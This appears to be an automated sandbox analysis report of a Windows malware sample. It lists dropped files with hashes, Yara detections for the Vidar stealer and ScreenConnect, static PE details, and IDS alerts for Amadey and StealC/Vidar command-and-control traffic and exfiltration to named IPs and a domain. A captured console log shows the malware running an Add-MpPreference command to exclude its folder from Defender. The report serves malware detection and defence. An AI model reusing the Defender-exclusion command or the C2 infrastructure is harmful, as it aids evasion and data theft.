Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Reputation:	unknown
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF8C7D3814706A6B1B.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	1.442406440412484
Encrypted:	false
SSDEEP:	48:nanuZZth8FXz5T5aUp1xifRFqcq56Adux3SiaIdglP773+rPmaaS6y9Or2Adux30:ankC3Toemp4p03ftdYcPuGv30
MD5:	EF3B64CC7E8A345C5A5E3736CB16425D
SHA1:	63F1913216BE3C445CE29FA153DF1FED60E003B2
SHA-256:	00CC067E35CDBA44CD469A30F1E1ABB9B95AF05672CD101F94472E0BE08E77C2
SHA-512:	A03C373575113E1BE107386098E9E3BF18594B63252D706B49D56E59672D66FC13DBB2A9C23E71B4C0215FBC74CBF96926E9AEEBCEB9F658E4255FDBA54CA9BB
Malicious:	false
Yara Hits:	Rule: JoeSecurity_ScreenConnectTool, Description: Yara detected ScreenConnect Tool, Source: C:\Windows\Temp\~DF8C7D3814706A6B1B.TMP, Author: Joe Security
Reputation:	unknown
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF996BBD7E0FE55A8E.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Reputation:	unknown
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF9EDC048800B3D7BF.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.07721972511121045
Encrypted:	false
SSDEEP:	6:2/9LG7iVCnLG7iVrKOzPLHKOPWJmOTEmxgySKChiVky6l51:2F0i8n0itFzDHFGmmxY7r
MD5:	174B5C64DBA915264F21D637E34965E5
SHA1:	E0CD79A52F1742F572057869FDE5ACA680FA8C46
SHA-256:	50AAE142230B9CB380FE122D3FCE25D72CE24D732686997A0AAA9CC965B83CB5
SHA-512:	45F7FF9503D0851BA390A6EFE7416E7F454B4415A50EDE078AEA8FA651E48612E400F3387E283BF22D78D4232CA0875B9DA2B8AB62E9CD667B3B12A0F3F6606B
Malicious:	false
Reputation:	unknown
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DFAC8ECF7E5B76FD45.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	1.442406440412484
Encrypted:	false
SSDEEP:	48:nanuZZth8FXz5T5aUp1xifRFqcq56Adux3SiaIdglP773+rPmaaS6y9Or2Adux30:ankC3Toemp4p03ftdYcPuGv30
MD5:	EF3B64CC7E8A345C5A5E3736CB16425D
SHA1:	63F1913216BE3C445CE29FA153DF1FED60E003B2
SHA-256:	00CC067E35CDBA44CD469A30F1E1ABB9B95AF05672CD101F94472E0BE08E77C2
SHA-512:	A03C373575113E1BE107386098E9E3BF18594B63252D706B49D56E59672D66FC13DBB2A9C23E71B4C0215FBC74CBF96926E9AEEBCEB9F658E4255FDBA54CA9BB
Malicious:	false
Yara Hits:	Rule: JoeSecurity_ScreenConnectTool, Description: Yara detected ScreenConnect Tool, Source: C:\Windows\Temp\~DFAC8ECF7E5B76FD45.TMP, Author: Joe Security
Reputation:	unknown
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DFB6AB40FF317C4BAF.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Reputation:	unknown
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DFC344C2AE35DF32E5.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	1.8306192700832327
Encrypted:	false
SSDEEP:	48:j8Ph/uRc06WXzEFT5LxifRFqcq56Adux3SiaIdglP773+rPmaaS6y9Or2Adux3SN:Kh/15FTmp4p03ftdYcPuGv30
MD5:	B4E30A6976F38B8F31DAF5613B9B3B2C
SHA1:	9C63F3EB1771E37559FD58B57C0F7DE5D716A012
SHA-256:	87FC102F0478A1F9867F012B7D402F6DA75DF547464BBD77D257D87505676685
SHA-512:	405A716DC073E64A4391B03E6052ABC1453C9AFE0D3437E0E1626BBF8CE7550639BCAA69E3AF777DCFA53916FD7433A6119BD7C1058C14E5B7AC6C38B277B38F
Malicious:	false
Yara Hits:	Rule: JoeSecurity_ScreenConnectTool, Description: Yara detected ScreenConnect Tool, Source: C:\Windows\Temp\~DFC344C2AE35DF32E5.TMP, Author: Joe Security
Reputation:	unknown
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DFC8342F6AC99985F7.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Reputation:	unknown
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DFEBB357D6CC700344.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	1.8306192700832327
Encrypted:	false
SSDEEP:	48:j8Ph/uRc06WXzEFT5LxifRFqcq56Adux3SiaIdglP773+rPmaaS6y9Or2Adux3SN:Kh/15FTmp4p03ftdYcPuGv30
MD5:	B4E30A6976F38B8F31DAF5613B9B3B2C
SHA1:	9C63F3EB1771E37559FD58B57C0F7DE5D716A012
SHA-256:	87FC102F0478A1F9867F012B7D402F6DA75DF547464BBD77D257D87505676685
SHA-512:	405A716DC073E64A4391B03E6052ABC1453C9AFE0D3437E0E1626BBF8CE7550639BCAA69E3AF777DCFA53916FD7433A6119BD7C1058C14E5B7AC6C38B277B38F
Malicious:	false
Yara Hits:	Rule: JoeSecurity_ScreenConnectTool, Description: Yara detected ScreenConnect Tool, Source: C:\Windows\Temp\~DFEBB357D6CC700344.TMP, Author: Joe Security
Reputation:	unknown
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DFEC80BE9B1F8F021D.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	1.442406440412484
Encrypted:	false
SSDEEP:	48:nanuZZth8FXz5T5aUp1xifRFqcq56Adux3SiaIdglP773+rPmaaS6y9Or2Adux30:ankC3Toemp4p03ftdYcPuGv30
MD5:	EF3B64CC7E8A345C5A5E3736CB16425D
SHA1:	63F1913216BE3C445CE29FA153DF1FED60E003B2
SHA-256:	00CC067E35CDBA44CD469A30F1E1ABB9B95AF05672CD101F94472E0BE08E77C2
SHA-512:	A03C373575113E1BE107386098E9E3BF18594B63252D706B49D56E59672D66FC13DBB2A9C23E71B4C0215FBC74CBF96926E9AEEBCEB9F658E4255FDBA54CA9BB
Malicious:	false
Yara Hits:	Rule: JoeSecurity_ScreenConnectTool, Description: Yara detected ScreenConnect Tool, Source: C:\Windows\Temp\~DFEC80BE9B1F8F021D.TMP, Author: Joe Security
Reputation:	unknown
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1058336
Entropy (8bit):	6.827880169201504
Encrypted:	false
SSDEEP:	12288:qvUGQWpy+Tac0RDffXJjyYpcyoNHSy5viczPESsQ3BaE32VfXJjyYpz:lGQB+2DR7BWYpcyo44u0aPVBWYpz
MD5:	971B0519B1C0461DB6700610E5E9CA8E
SHA1:	9A262218310F976AAF837E54B4842E53E73BE088
SHA-256:	47CF75570C1ECA775B2DD1823233D7C40924D3A8D93E0E78C943219CF391D023
SHA-512:	D234A9C5A1DA8415CD4D2626797197039F2537E98F8F43D155F815A7867876CBC1BF466BE58677C79A9199EA47D146A174998D21EF0AEBC29A4B0443F8857CB9
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...w.m..........."...0......(........... ........@.. ....................... ............`.................................K...O....... %.............. r..........p...T............................................ ............... ..H............text........ ...................... ..`.rsrc... %.......&..................@..@.reloc..............................@..B........................H........7................................................................{8.....{9.....{:.....{;.....{<.....{=.....{>.....{?.....{@.....{A.....{B....0..\........(C.....}8.....}9.....}:......};......}<......}=......}>......}?......}@......}A......}B....0...........u.......;.....9....(D....{8....{8...oE...9....(F....{9....{9...oG...9....(H....{:....{:...oI...9....(J....{;....{;...oK...9....(L....{<....{<...oM...9....(N....{=....{=...oO...,w(P....{>....{>...oQ...,_(

C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	147968
Entropy (8bit):	6.454649285943866
Encrypted:	false
SSDEEP:	3072:lOBRrLUOPed9xOi756fJnhsRSK2C22/m4ESZo3XRYzXIkQfyXzdEpx:A/rLVPW0nsP2Xy+TJfWzW7
MD5:	CC36E2A5A3C64941A79C31CA320E9797
SHA1:	50C8F5DB809CFEC84735C9F4DCD6B55D53DFD9F5
SHA-256:	6FEC179C363190199C1DCDF822BE4D6B1F5C4895EBC7148A8FC9FA9512EEADE8
SHA-512:	FCEA6D62DC047E40182DC4FF1E0522CA935F9AEEFDB1517957977BC5D9AC654285A973261401F3B98ABF1F6ED62638B9E31306FD7AAEB67214CA42DFC2888AF0
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe, Author: Joe Security
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....ag.....................`....................@...........................#.............................................(................................p#.........................................\............................................text...x........................... ....rdata...1.......2..................@..@.data....!!..0......................@....00cfg.......`#......*..............@..@.reloc.......p#......,..............@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 298

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3906)
Category:	downloaded
Size (bytes):	3911
Entropy (8bit):	5.8357621651477904
Encrypted:	false
SSDEEP:	96:3hXZd4liYIN6666VtJc0doo3LBXJ0BfyOhU24n9xDgTtNiR4UCBYfffffo:3hXZdukN6666VtHd13VL9S7igd
MD5:	F332A0D8A7519D50FED53AF09AAEA4F6
SHA1:	AFB92096E97F8FBBFE48C51E2217CFB5F612A654
SHA-256:	391FA5DC1261C43A928E9E58FE6002FE0ACCED81A0F0A2DB24E4D7E59318F190
SHA-512:	5B75214DBF4B6F9EB00C3B2591A32C17FA207C8311C3347024A7B73B982A11C052C6B350CD16DD58D3856949164A284A6AAB2D4CB2A50826DC9C5C7BB3FF4AC0
Malicious:	false
Reputation:	unknown
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["fred lorenzen nascar","nintendo switch games","sonic the hedgehog 3 movie review","jerome powell bitcoin","nasa astronauts stuck in space","grayson georgia high school football","nyt connections hints december 19","taco bell crispy chicken nuggets"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"google:entityinfo":"CgkvbS8wOTg1ZGQSIUZyZWQgTG9yZW56ZW4g4oCUIFJhY2UgY2FyIGRyaXZlcjLDEGRhdGE6aW1hZ2UvanBlZztiYXNlNjQsLzlqLzRBQVFTa1pKUmdBQkFRQUFBUUFCQUFELzJ3Q0VBQWtHQndnSEJna0lCd2dLQ2drTERSWVBEUXdNRFJzVUZSQVdJQjBpSWlBZEh4OGtLRFFzSkNZeEp4OGZMVDB0TVRVM09qbzZJeXMvUkQ4NFF6UTVPamNCQ2dvS0RRd05HZzhQR2pjbEh5VTNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTi8vQUFCRUlBRUFBUUFNQklnQUNFUUVERVFIL3hBQWJBQUFDQXdBREFBQUFBQUFBQUFBQUFBQUZCZ01FQndFQ0NQL0VBRGNRQUFFREFnUURCUVlFQndFQUFBQUFBQUVDQXdRRkVRQUdFaUVUTVZGQllYR0JrUlFWSWpLaHNRZENnc0VqTTFKaWM5S

Chrome Cache Entry: 299

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
Reputation:	unknown
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 300

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	132754
Entropy (8bit):	5.436600998276548
Encrypted:	false
SSDEEP:	3072:fLkJQ7O4N5dTm+syHEt4W3XdQ4Q6UuSr/nUW2i6o:fOQ7HTt/sHdQ4Q6UDfUW8o
MD5:	DC5F2AAA1A9820710C506057B1DA0782
SHA1:	481337F66FE36580F3FC917CFB5A5F15D1D3B763
SHA-256:	6932D4DF58E2B295DA0B5050A59D843233EE9112E78A0EE19ECE77D3870D5F3A
SHA-512:	9A21270341D60A41DA680D96986F4FE0700C375696166290B35FF01608A81C3CEDDD5BB322FE817F91CC4A09BA6F9BDACE435EEEADB9498E596712C761DF4366
Malicious:	false
Reputation:	unknown
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

\Device\ConDrv

Download File

Process:	C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe
File Type:	Non-ISO extended-ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2959
Entropy (8bit):	5.247363799309289
Encrypted:	false
SSDEEP:	48:PvVn8Lbztice+3OtZe+3fbzticB+3OtZB+3mlPwM8KgmA398NtllvFxObUxgP9:6rMTmhOPwM8KgmAN8f/vTQUxY9
MD5:	B424E5E71008B0D18F3311FF927D8C48
SHA1:	E296692F3F21406A7FDBB60ABEA312F84414B353
SHA-256:	E0A0190A63D31585FD8B40AC0D2B7A4610E7B8BE1A6CBFF8094D897899D0A728
SHA-512:	AB41990E7590A72D79814FAF37FE13D0B95494C59F977369B94E41BB064C0C7E11C425D125ACC105F1A8068A7964185F1FDDD6779C28381374F7354CB24B5A29
Malicious:	false
Reputation:	unknown
Preview:	Ordner erstellt: C:\aqhnzja..Willkommen beim Textanalyseprogramm!..Geben Sie Text f.r die Analyse ein (2 Sekunden Zeit):...Die Zeit ist abgelaufen! Die Eingabe wurde nicht abgeschlossen...Generiere einen zuf.lligen Satz.....Generierter Satz: Stuhl Auto Stuhl Katze..Anzahl der W.rter: 4..Fehler beim Hinzuf.gen des Ausschlusses: Add-MpPreference : Operation failed with the following error: 0x800106ba. Operation: MpPreference. Target: ..ConfigListExtension...At line:1 char:1..+ Add-MpPreference -ExclusionPath C:\aqhnzja..+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~.. + CategoryInfo : NotSpecified: (MSFT_MpPreference:root\Microsoft\...FT_MpPreference) [Add-MpPreference], .. CimException.. + FullyQualifiedErrorId : HRESULT 0x800106ba,Add-MpPreference.. ..Add-MpPreference : Operation failed with the following error: 0x%1!x!..At line:1 char:1..+ Add-MpPreference -ExclusionPath C:\aqhnzja..+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~.. + CategoryInfo : NotSpecifie

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.560398977405489
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	3'011'072 bytes
MD5:	dac73e7813dc3500e5f677b5f31191df
SHA1:	bf5eaa68905a19d7cda4cc824267d5fbfc27785a
SHA256:	6b6ee9cae47a7d7d51218397669ea2644853643e8d7557b20a90dc49e203893e
SHA512:	7e26aa8fa617887d322ff823d6133dc677cd6c7e5ff2d1b14f6db689dff185e4f668802037bcd38e2134965892f71aabb4b274ae5568adb6e2ad065f93d593ba
SSDEEP:	49152:CdKtEEZolFDH6eU4kCfdnZlAVVXmZUiUHHUw0aAVP:ntEEZuFDaeU4kCfhZloXmVy0
TLSH:	4BD55A72B506B2CFE49A26B89457CD42BA2C07B947344CC3DC9C64BA7E67CC112F6D29
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x71a000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F0569C [Sun Sep 22 17:40:44 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FC708C417FAh

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x6a057	0x6b	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x69000	0x5d4	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x318528	0x10	yedfgeqi
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x3184d8	0x18	yedfgeqi
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x68000	0x2de00	c914c1b7542c2f6f4b4140efc54c3d3c	False	0.9984832680517711	data	7.9888490650240955	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x69000	0x5d4	0x600	1e55db351164df1643ae87d7efa3ee0f	False	0.4303385416666667	data	5.417125179370491	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x6a000	0x1000	0x200	cc76e3822efdc911f469a3e3cc9ce9fe	False	0.1484375	data	1.0428145631430756	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
yedfgeqi	0x6b000	0x2ae000	0x2ad600	e7de1695a75b807a09ee02b9e9200fa6	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
daxgiqes	0x319000	0x1000	0x400	dfdd214b2604b7cb87f077e0c115da7c	False	0.73046875	data	5.830207644487127	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x31a000	0x3000	0x2200	48c39a78f2883df3518f233cec1832aa	False	0.35822610294117646	DOS executable (COM)	3.9144095369458696	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x69070	0x3e4	XML 1.0 document, ASCII text			0.48092369477911645
RT_MANIFEST	0x69454	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
kernel32.dll	lstrcpy

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-19T16:10:08.108534+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.6	49832	185.215.113.43	80	TCP
2024-12-19T16:10:12.919288+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49844	31.41.244.11	80	TCP
2024-12-19T16:10:15.414525+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.6	49838	TCP
2024-12-19T16:10:16.762155+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	49855	185.215.113.43	80	TCP
2024-12-19T16:10:18.251466+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49857	31.41.244.11	80	TCP
2024-12-19T16:10:24.438363+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	49875	185.215.113.43	80	TCP
2024-12-19T16:10:26.070158+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49881	31.41.244.11	80	TCP
2024-12-19T16:10:33.330865+0100	2058401	ET MALWARE StealC/Vidar CnC Domain in DNS Lookup (hulkpara .xyz)	1	192.168.2.6	59542	1.1.1.1	53	UDP
2024-12-19T16:10:35.627877+0100	2058402	ET MALWARE Observed StealC/Vidar Stealer Domain (hulkpara .xyz in TLS SNI)	1	192.168.2.6	49911	94.130.191.168	443	TCP
2024-12-19T16:10:37.769722+0100	2058402	ET MALWARE Observed StealC/Vidar Stealer Domain (hulkpara .xyz in TLS SNI)	1	192.168.2.6	49918	94.130.191.168	443	TCP
2024-12-19T16:10:38.723786+0100	2859378	ETPRO MALWARE Win32/Stealc/Vidar Stealer Host Details Exfil (POST) M2	1	192.168.2.6	49918	94.130.191.168	443	TCP
2024-12-19T16:10:39.832658+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	49922	185.215.113.43	80	TCP
2024-12-19T16:10:40.495145+0100	2058402	ET MALWARE Observed StealC/Vidar Stealer Domain (hulkpara .xyz in TLS SNI)	1	192.168.2.6	49925	94.130.191.168	443	TCP
2024-12-19T16:10:41.298155+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49931	31.41.244.11	80	TCP
2024-12-19T16:10:42.938159+0100	2058402	ET MALWARE Observed StealC/Vidar Stealer Domain (hulkpara .xyz in TLS SNI)	1	192.168.2.6	49934	94.130.191.168	443	TCP
2024-12-19T16:10:43.816661+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	94.130.191.168	443	192.168.2.6	49934	TCP
2024-12-19T16:10:46.468705+0100	2058402	ET MALWARE Observed StealC/Vidar Stealer Domain (hulkpara .xyz in TLS SNI)	1	192.168.2.6	49946	94.130.191.168	443	TCP
2024-12-19T16:10:47.666284+0100	2049087	ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M1	1	192.168.2.6	49946	94.130.191.168	443	TCP
2024-12-19T16:10:47.666469+0100	2051831	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1	1	94.130.191.168	443	192.168.2.6	49946	TCP
2024-12-19T16:10:48.451472+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	49955	185.215.113.43	80	TCP
2024-12-19T16:10:49.523051+0100	2058402	ET MALWARE Observed StealC/Vidar Stealer Domain (hulkpara .xyz in TLS SNI)	1	192.168.2.6	49959	94.130.191.168	443	TCP
